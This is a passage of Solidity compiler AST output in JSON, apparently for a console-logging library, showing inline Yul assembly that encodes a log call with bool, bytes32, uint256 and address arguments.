:"217996:4:22","nodeType":"YulLiteral","src":"217996:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"217987:3:22","nodeType":"YulIdentifier","src":"217987:3:22"},"nativeSrc":"217987:14:22","nodeType":"YulFunctionCall","src":"217987:14:22"},{"arguments":[{"name":"shift","nativeSrc":"218007:5:22","nodeType":"YulIdentifier","src":"218007:5:22"},{"arguments":[{"name":"shift","nativeSrc":"218018:5:22","nodeType":"YulIdentifier","src":"218018:5:22"},{"name":"w","nativeSrc":"218025:1:22","nodeType":"YulIdentifier","src":"218025:1:22"}],"functionName":{"name":"shr","nativeSrc":"218014:3:22","nodeType":"YulIdentifier","src":"218014:3:22"},"nativeSrc":"218014:13:22","nodeType":"YulFunctionCall","src":"218014:13:22"}],"functionName":{"name":"shl","nativeSrc":"218003:3:22","nodeType":"YulIdentifier","src":"218003:3:22"},"nativeSrc":"218003:25:22","nodeType":"YulFunctionCall","src":"218003:25:22"}],"functionName":{"name":"mstore","nativeSrc":"217980:6:22","nodeType":"YulIdentifier","src":"217980:6:22"},"nativeSrc":"217980:49:22","nodeType":"YulFunctionCall","src":"217980:49:22"},"nativeSrc":"217980:49:22","nodeType":"YulExpressionStatement","src":"217980:49:22"}]},"name":"writeString","nativeSrc":"217701:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"217722:3:22","nodeType":"YulTypedName","src":"217722:3:22","type":""},{"name":"w","nativeSrc":"217727:1:22","nodeType":"YulTypedName","src":"217727:1:22","type":""}],"src":"217701:342:22"},{"nativeSrc":"218056:17:22","nodeType":"YulAssignment","src":"218056:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218068:4:22","nodeType":"YulLiteral","src":"218068:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"218062:5:22","nodeType":"YulIdentifier","src":"218062:5:22"},"nativeSrc":"218062:11:22","nodeType":"YulFunctionCall","src":"218062:11:22"},"variableNames":[{"name":"m0","nativeSrc":"218056:2:22","nodeType":"YulIdentifier","src":"218056:2:22"}]},{"nativeSrc":"218086:17:22","nodeType":"YulAssignment","src":"218086:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218098:4:22","nodeType":"YulLiteral","src":"218098:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"218092:5:22","nodeType":"YulIdentifier","src":"218092:5:22"},"nativeSrc":"218092:11:22","nodeType":"YulFunctionCall","src":"218092:11:22"},"variableNames":[{"name":"m1","nativeSrc":"218086:2:22","nodeType":"YulIdentifier","src":"218086:2:22"}]},{"nativeSrc":"218116:17:22","nodeType":"YulAssignment","src":"218116:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218128:4:22","nodeType":"YulLiteral","src":"218128:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"218122:5:22","nodeType":"YulIdentifier","src":"218122:5:22"},"nativeSrc":"218122:11:22","nodeType":"YulFunctionCall","src":"218122:11:22"},"variableNames":[{"name":"m2","nativeSrc":"218116:2:22","nodeType":"YulIdentifier","src":"218116:2:22"}]},{"nativeSrc":"218146:17:22","nodeType":"YulAssignment","src":"218146:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218158:4:22","nodeType":"YulLiteral","src":"218158:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"218152:5:22","nodeType":"YulIdentifier","src":"218152:5:22"},"nativeSrc":"218152:11:22","nodeType":"YulFunctionCall","src":"218152:11:22"},"variableNames":[{"name":"m3","nativeSrc":"218146:2:22","nodeType":"YulIdentifier","src":"218146:2:22"}]},{"nativeSrc":"218176:17:22","nodeType":"YulAssignment","src":"218176:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218188:4:22","nodeType":"YulLiteral","src":"218188:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"218182:5:22","nodeType":"YulIdentifier","src":"218182:5:22"},"nativeSrc":"218182:11:22","nodeType":"YulFunctionCall","src":"218182:11:22"},"variableNames":[{"name":"m4","nativeSrc":"218176:2:22","nodeType":"YulIdentifier","src":"218176:2:22"}]},{"nativeSrc":"218206:17:22","nodeType":"YulAssignment","src":"218206:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218218:4:22","nodeType":"YulLiteral","src":"218218:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"218212:5:22","nodeType":"YulIdentifier","src":"218212:5:22"},"nativeSrc":"218212:11:22","nodeType":"YulFunctionCall","src":"218212:11:22"},"variableNames":[{"name":"m5","nativeSrc":"218206:2:22","nodeType":"YulIdentifier","src":"218206:2:22"}]},{"nativeSrc":"218236:17:22","nodeType":"YulAssignment","src":"218236:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"218248:4:22","nodeType":"YulLiteral","src":"218248:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"218242:5:22","nodeType":"YulIdentifier","src":"218242:5:22"},"nativeSrc":"218242:11:22","nodeType":"YulFunctionCall","src":"218242:11:22"},"variableNames":[{"name":"m6","nativeSrc":"218236:2:22","nodeType":"YulIdentifier","src":"218236:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218336:4:22","nodeType":"YulLiteral","src":"218336:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"218342:10:22","nodeType":"YulLiteral","src":"218342:10:22","type":"","value":"0x1596a1ce"}],"functionName":{"name":"mstore","nativeSrc":"218329:6:22","nodeType":"YulIdentifier","src":"218329:6:22"},"nativeSrc":"218329:24:22","nodeType":"YulFunctionCall","src":"218329:24:22"},"nativeSrc":"218329:24:22","nodeType":"YulExpressionStatement","src":"218329:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218373:4:22","nodeType":"YulLiteral","src":"218373:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"218379:2:22","nodeType":"YulIdentifier","src":"218379:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218366:6:22","nodeType":"YulIdentifier","src":"218366:6:22"},"nativeSrc":"218366:16:22","nodeType":"YulFunctionCall","src":"218366:16:22"},"nativeSrc":"218366:16:22","nodeType":"YulExpressionStatement","src":"218366:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218402:4:22","nodeType":"YulLiteral","src":"218402:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"218408:4:22","nodeType":"YulLiteral","src":"218408:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"218395:6:22","nodeType":"YulIdentifier","src":"218395:6:22"},"nativeSrc":"218395:18:22","nodeType":"YulFunctionCall","src":"218395:18:22"},"nativeSrc":"218395:18:22","nodeType":"YulExpressionStatement","src":"218395:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218433:4:22","nodeType":"YulLiteral","src":"218433:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"218439:2:22","nodeType":"YulIdentifier","src":"218439:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218426:6:22","nodeType":"YulIdentifier","src":"218426:6:22"},"nativeSrc":"218426:16:22","nodeType":"YulFunctionCall","src":"218426:16:22"},"nativeSrc":"218426:16:22","nodeType":"YulExpressionStatement","src":"218426:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218462:4:22","nodeType":"YulLiteral","src":"218462:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"218468:2:22","nodeType":"YulIdentifier","src":"218468:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218455:6:22","nodeType":"YulIdentifier","src":"218455:6:22"},"nativeSrc":"218455:16:22","nodeType":"YulFunctionCall","src":"218455:16:22"},"nativeSrc":"218455:16:22","nodeType":"YulExpressionStatement","src":"218455:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218496:4:22","nodeType":"YulLiteral","src":"218496:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"218502:2:22","nodeType":"YulIdentifier","src":"218502:2:22"}],"functionName":{"name":"writeString","nativeSrc":"218484:11:22","nodeType":"YulIdentifier","src":"218484:11:22"},"nativeSrc":"218484:21:22","nodeType":"YulFunctionCall","src":"218484:21:22"},"nativeSrc":"218484:21:22","nodeType":"YulExpressionStatement","src":"218484:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40930,"isOffset":false,"isSlot":false,"src":"218056:2:22","valueSize":1},{"declaration":40933,"isOffset":false,"isSlot":false,"src":"218086:2:22","valueSize":1},{"declaration":40936,"isOffset":false,"isSlot":false,"src":"218116:2:22","valueSize":1},{"declaration":40939,"isOffset":false,"isSlot":false,"src":"218146:2:22","valueSize":1},{"declaration":40942,"isOffset":false,"isSlot":false,"src":"218176:2:22","valueSize":1},{"declaration":40945,"isOffset":false,"isSlot":false,"src":"218206:2:22","valueSize":1},{"declaration":40948,"isOffset":false,"isSlot":false,"src":"218236:2:22","valueSize":1},{"declaration":40920,"isOffset":false,"isSlot":false,"src":"218379:2:22","valueSize":1},{"declaration":40922,"isOffset":false,"isSlot":false,"src":"218502:2:22","valueSize":1},{"declaration":40924,"isOffset":false,"isSlot":false,"src":"218439:2:22","valueSize":1},{"declaration":40926,"isOffset":false,"isSlot":false,"src":"218468:2:22","valueSize":1}],"id":40950,"nodeType":"InlineAssembly","src":"217678:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40952,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"218540:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40953,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"218546:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40951,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"218524:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40954,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"218524:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40955,"nodeType":"ExpressionStatement","src":"218524:27:22"},{"AST":{"nativeSrc":"218570:214:22","nodeType":"YulBlock","src":"218570:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"218591:4:22","nodeType":"YulLiteral","src":"218591:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"218597:2:22","nodeType":"YulIdentifier","src":"218597:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218584:6:22","nodeType":"YulIdentifier","src":"218584:6:22"},"nativeSrc":"218584:16:22","nodeType":"YulFunctionCall","src":"218584:16:22"},"nativeSrc":"218584:16:22","nodeType":"YulExpressionStatement","src":"218584:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218620:4:22","nodeType":"YulLiteral","src":"218620:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"218626:2:22","nodeType":"YulIdentifier","src":"218626:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218613:6:22","nodeType":"YulIdentifier","src":"218613:6:22"},"nativeSrc":"218613:16:22","nodeType":"YulFunctionCall","src":"218613:16:22"},"nativeSrc":"218613:16:22","nodeType":"YulExpressionStatement","src":"218613:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218649:4:22","nodeType":"YulLiteral","src":"218649:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"218655:2:22","nodeType":"YulIdentifier","src":"218655:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218642:6:22","nodeType":"YulIdentifier","src":"218642:6:22"},"nativeSrc":"218642:16:22","nodeType":"YulFunctionCall","src":"218642:16:22"},"nativeSrc":"218642:16:22","nodeType":"YulExpressionStatement","src":"218642:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218678:4:22","nodeType":"YulLiteral","src":"218678:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"218684:2:22","nodeType":"YulIdentifier","src":"218684:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218671:6:22","nodeType":"YulIdentifier","src":"218671:6:22"},"nativeSrc":"218671:16:22","nodeType":"YulFunctionCall","src":"218671:16:22"},"nativeSrc":"218671:16:22","nodeType":"YulExpressionStatement","src":"218671:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218707:4:22","nodeType":"YulLiteral","src":"218707:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"218713:2:22","nodeType":"YulIdentifier","src":"218713:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218700:6:22","nodeType":"YulIdentifier","src":"218700:6:22"},"nativeSrc":"218700:16:22","nodeType":"YulFunctionCall","src":"218700:16:22"},"nativeSrc":"218700:16:22","nodeType":"YulExpressionStatement","src":"218700:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218736:4:22","nodeType":"YulLiteral","src":"218736:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"218742:2:22","nodeType":"YulIdentifier","src":"218742:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218729:6:22","nodeType":"YulIdentifier","src":"218729:6:22"},"nativeSrc":"218729:16:22","nodeType":"YulFunctionCall","src":"218729:16:22"},"nativeSrc":"218729:16:22","nodeType":"YulExpressionStatement","src":"218729:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"218765:4:22","nodeType":"YulLiteral","src":"218765:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"218771:2:22","nodeType":"YulIdentifier","src":"218771:2:22"}],"functionName":{"name":"mstore","nativeSrc":"218758:6:22","nodeType":"YulIdentifier","src":"218758:6:22"},"nativeSrc":"218758:16:22","nodeType":"YulFunctionCall","src":"218758:16:22"},"nativeSrc":"218758:16:22","nodeType":"YulExpressionStatement","src":"218758:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40930,"isOffset":false,"isSlot":false,"src":"218597:2:22","valueSize":1},{"declaration":40933,"isOffset":false,"isSlot":false,"src":"218626:2:22","valueSize":1},{"declaration":40936,"isOffset":false,"isSlot":false,"src":"218655:2:22","valueSize":1},{"declaration":40939,"isOffset":false,"isSlot":false,"src":"218684:2:22","valueSize":1},{"declaration":40942,"isOffset":false,"isSlot":false,"src":"218713:2:22","valueSize":1},{"declaration":40945,"isOffset":false,"isSlot":false,"src":"218742:2:22","valueSize":1},{"declaration":40948,"isOffset":false,"isSlot":false,"src":"218771:2:22","valueSize":1}],"id":40956,"nodeType":"InlineAssembly","src":"218561:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"217465:3:22","parameters":{"id":40927,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40920,"mutability":"mutable","name":"p0","nameLocation":"217474:2:22","nodeType":"VariableDeclaration","scope":40958,"src":"217469:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40919,"name":"bool","nodeType":"ElementaryTypeName","src":"217469:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40922,"mutability":"mutable","name":"p1","nameLocation":"217486:2:22","nodeType":"VariableDeclaration","scope":40958,"src":"217478:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40921,"name":"bytes32","nodeType":"ElementaryTypeName","src":"217478:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40924,"mutability":"mutable","name":"p2","nameLocation":"217498:2:22","nodeType":"VariableDeclaration","scope":40958,"src":"217490:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40923,"name":"uint256","nodeType":"ElementaryTypeName","src":"217490:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40926,"mutability":"mutable","name":"p3","nameLocation":"217510:2:22","nodeType":"VariableDeclaration","scope":40958,"src":"217502:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40925,"name":"address","nodeType":"ElementaryTypeName","src":"217502:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"217468:45:22"},"returnParameters":{"id":40928,"nodeType":"ParameterList","parameters":[],"src":"217528:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40998,"nodeType":"FunctionDefinition","src":"218796:1328:22","nodes":[],"body":{"id":40997,"nodeType":"Block","src":"218865:1259:22","nodes":[],"statements":[{"assignments":[40970],"declarations":[{"constant":false,"id":40970,"mutability":"mutable","name":"m0","nameLocation":"218883:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218875:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40969,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218875:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40971,"nodeType":"VariableDeclarationStatement","src":"218875:10:22"},{"assignments":[40973],"declarations":[{"constant":false,"id":40973,"mutability":"mutable","name":"m1","nameLocation":"218903:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218895:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40972,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218895:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40974,"nodeType":"VariableDeclarationStatement","src":"218895:10:22"},{"assignments":[40976],"declarations":[{"constant":false,"id":40976,"mutability":"mutable","name":"m2","nameLocation":"218923:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218915:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218915:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40977,"nodeType":"VariableDeclarationStatement","src":"218915:10:22"},{"assignments":[40979],"declarations":[{"constant":false,"id":40979,"mutability":"mutable","name":"m3","nameLocation":"218943:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218935:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40978,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218935:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40980,"nodeType":"VariableDeclarationStatement","src":"218935:10:22"},{"assignments":[40982],"declarations":[{"constant":false,"id":40982,"mutability":"mutable","name":"m4","nameLocation":"218963:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218955:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40981,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218955:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40983,"nodeType":"VariableDeclarationStatement","src":"218955:10:22"},{"assignments":[40985],"declarations":[{"constant":false,"id":40985,"mutability":"mutable","name":"m5","nameLocation":"218983:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218975:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40984,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218975:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40986,"nodeType":"VariableDeclarationStatement","src":"218975:10:22"},{"assignments":[40988],"declarations":[{"constant":false,"id":40988,"mutability":"mutable","name":"m6","nameLocation":"219003:2:22","nodeType":"VariableDeclaration","scope":40997,"src":"218995:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40987,"name":"bytes32","nodeType":"ElementaryTypeName","src":"218995:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40989,"nodeType":"VariableDeclarationStatement","src":"218995:10:22"},{"AST":{"nativeSrc":"219024:825:22","nodeType":"YulBlock","src":"219024:825:22","statements":[{"body":{"nativeSrc":"219067:313:22","nodeType":"YulBlock","src":"219067:313:22","statements":[{"nativeSrc":"219085:15:22","nodeType":"YulVariableDeclaration","src":"219085:15:22","value":{"kind":"number","nativeSrc":"219099:1:22","nodeType":"YulLiteral","src":"219099:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"219089:6:22","nodeType":"YulTypedName","src":"219089:6:22","type":""}]},{"body":{"nativeSrc":"219170:40:22","nodeType":"YulBlock","src":"219170:40:22","statements":[{"body":{"nativeSrc":"219199:9:22","nodeType":"YulBlock","src":"219199:9:22","statements":[{"nativeSrc":"219201:5:22","nodeType":"YulBreak","src":"219201:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"219187:6:22","nodeType":"YulIdentifier","src":"219187:6:22"},{"name":"w","nativeSrc":"219195:1:22","nodeType":"YulIdentifier","src":"219195:1:22"}],"functionName":{"name":"byte","nativeSrc":"219182:4:22","nodeType":"YulIdentifier","src":"219182:4:22"},"nativeSrc":"219182:15:22","nodeType":"YulFunctionCall","src":"219182:15:22"}],"functionName":{"name":"iszero","nativeSrc":"219175:6:22","nodeType":"YulIdentifier","src":"219175:6:22"},"nativeSrc":"219175:23:22","nodeType":"YulFunctionCall","src":"219175:23:22"},"nativeSrc":"219172:36:22","nodeType":"YulIf","src":"219172:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"219127:6:22","nodeType":"YulIdentifier","src":"219127:6:22"},{"kind":"number","nativeSrc":"219135:4:22","nodeType":"YulLiteral","src":"219135:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"219124:2:22","nodeType":"YulIdentifier","src":"219124:2:22"},"nativeSrc":"219124:16:22","nodeType":"YulFunctionCall","src":"219124:16:22"},"nativeSrc":"219117:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"219141:28:22","nodeType":"YulBlock","src":"219141:28:22","statements":[{"nativeSrc":"219143:24:22","nodeType":"YulAssignment","src":"219143:24:22","value":{"arguments":[{"name":"length","nativeSrc":"219157:6:22","nodeType":"YulIdentifier","src":"219157:6:22"},{"kind":"number","nativeSrc":"219165:1:22","nodeType":"YulLiteral","src":"219165:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"219153:3:22","nodeType":"YulIdentifier","src":"219153:3:22"},"nativeSrc":"219153:14:22","nodeType":"YulFunctionCall","src":"219153:14:22"},"variableNames":[{"name":"length","nativeSrc":"219143:6:22","nodeType":"YulIdentifier","src":"219143:6:22"}]}]},"pre":{"nativeSrc":"219121:2:22","nodeType":"YulBlock","src":"219121:2:22","statements":[]},"src":"219117:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"219234:3:22","nodeType":"YulIdentifier","src":"219234:3:22"},{"name":"length","nativeSrc":"219239:6:22","nodeType":"YulIdentifier","src":"219239:6:22"}],"functionName":{"name":"mstore","nativeSrc":"219227:6:22","nodeType":"YulIdentifier","src":"219227:6:22"},"nativeSrc":"219227:19:22","nodeType":"YulFunctionCall","src":"219227:19:22"},"nativeSrc":"219227:19:22","nodeType":"YulExpressionStatement","src":"219227:19:22"},{"nativeSrc":"219263:37:22","nodeType":"YulVariableDeclaration","src":"219263:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"219280:3:22","nodeType":"YulLiteral","src":"219280:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"219289:1:22","nodeType":"YulLiteral","src":"219289:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"219292:6:22","nodeType":"YulIdentifier","src":"219292:6:22"}],"functionName":{"name":"shl","nativeSrc":"219285:3:22","nodeType":"YulIdentifier","src":"219285:3:22"},"nativeSrc":"219285:14:22","nodeType":"YulFunctionCall","src":"219285:14:22"}],"functionName":{"name":"sub","nativeSrc":"219276:3:22","nodeType":"YulIdentifier","src":"219276:3:22"},"nativeSrc":"219276:24:22","nodeType":"YulFunctionCall","src":"219276:24:22"},"variables":[{"name":"shift","nativeSrc":"219267:5:22","nodeType":"YulTypedName","src":"219267:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"219328:3:22","nodeType":"YulIdentifier","src":"219328:3:22"},{"kind":"number","nativeSrc":"219333:4:22","nodeType":"YulLiteral","src":"219333:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"219324:3:22","nodeType":"YulIdentifier","src":"219324:3:22"},"nativeSrc":"219324:14:22","nodeType":"YulFunctionCall","src":"219324:14:22"},{"arguments":[{"name":"shift","nativeSrc":"219344:5:22","nodeType":"YulIdentifier","src":"219344:5:22"},{"arguments":[{"name":"shift","nativeSrc":"219355:5:22","nodeType":"YulIdentifier","src":"219355:5:22"},{"name":"w","nativeSrc":"219362:1:22","nodeType":"YulIdentifier","src":"219362:1:22"}],"functionName":{"name":"shr","nativeSrc":"219351:3:22","nodeType":"YulIdentifier","src":"219351:3:22"},"nativeSrc":"219351:13:22","nodeType":"YulFunctionCall","src":"219351:13:22"}],"functionName":{"name":"shl","nativeSrc":"219340:3:22","nodeType":"YulIdentifier","src":"219340:3:22"},"nativeSrc":"219340:25:22","nodeType":"YulFunctionCall","src":"219340:25:22"}],"functionName":{"name":"mstore","nativeSrc":"219317:6:22","nodeType":"YulIdentifier","src":"219317:6:22"},"nativeSrc":"219317:49:22","nodeType":"YulFunctionCall","src":"219317:49:22"},"nativeSrc":"219317:49:22","nodeType":"YulExpressionStatement","src":"219317:49:22"}]},"name":"writeString","nativeSrc":"219038:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"219059:3:22","nodeType":"YulTypedName","src":"219059:3:22","type":""},{"name":"w","nativeSrc":"219064:1:22","nodeType":"YulTypedName","src":"219064:1:22","type":""}],"src":"219038:342:22"},{"nativeSrc":"219393:17:22","nodeType":"YulAssignment","src":"219393:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219405:4:22","nodeType":"YulLiteral","src":"219405:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"219399:5:22","nodeType":"YulIdentifier","src":"219399:5:22"},"nativeSrc":"219399:11:22","nodeType":"YulFunctionCall","src":"219399:11:22"},"variableNames":[{"name":"m0","nativeSrc":"219393:2:22","nodeType":"YulIdentifier","src":"219393:2:22"}]},{"nativeSrc":"219423:17:22","nodeType":"YulAssignment","src":"219423:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219435:4:22","nodeType":"YulLiteral","src":"219435:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"219429:5:22","nodeType":"YulIdentifier","src":"219429:5:22"},"nativeSrc":"219429:11:22","nodeType":"YulFunctionCall","src":"219429:11:22"},"variableNames":[{"name":"m1","nativeSrc":"219423:2:22","nodeType":"YulIdentifier","src":"219423:2:22"}]},{"nativeSrc":"219453:17:22","nodeType":"YulAssignment","src":"219453:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219465:4:22","nodeType":"YulLiteral","src":"219465:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"219459:5:22","nodeType":"YulIdentifier","src":"219459:5:22"},"nativeSrc":"219459:11:22","nodeType":"YulFunctionCall","src":"219459:11:22"},"variableNames":[{"name":"m2","nativeSrc":"219453:2:22","nodeType":"YulIdentifier","src":"219453:2:22"}]},{"nativeSrc":"219483:17:22","nodeType":"YulAssignment","src":"219483:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219495:4:22","nodeType":"YulLiteral","src":"219495:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"219489:5:22","nodeType":"YulIdentifier","src":"219489:5:22"},"nativeSrc":"219489:11:22","nodeType":"YulFunctionCall","src":"219489:11:22"},"variableNames":[{"name":"m3","nativeSrc":"219483:2:22","nodeType":"YulIdentifier","src":"219483:2:22"}]},{"nativeSrc":"219513:17:22","nodeType":"YulAssignment","src":"219513:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219525:4:22","nodeType":"YulLiteral","src":"219525:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"219519:5:22","nodeType":"YulIdentifier","src":"219519:5:22"},"nativeSrc":"219519:11:22","nodeType":"YulFunctionCall","src":"219519:11:22"},"variableNames":[{"name":"m4","nativeSrc":"219513:2:22","nodeType":"YulIdentifier","src":"219513:2:22"}]},{"nativeSrc":"219543:17:22","nodeType":"YulAssignment","src":"219543:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"219555:4:22","node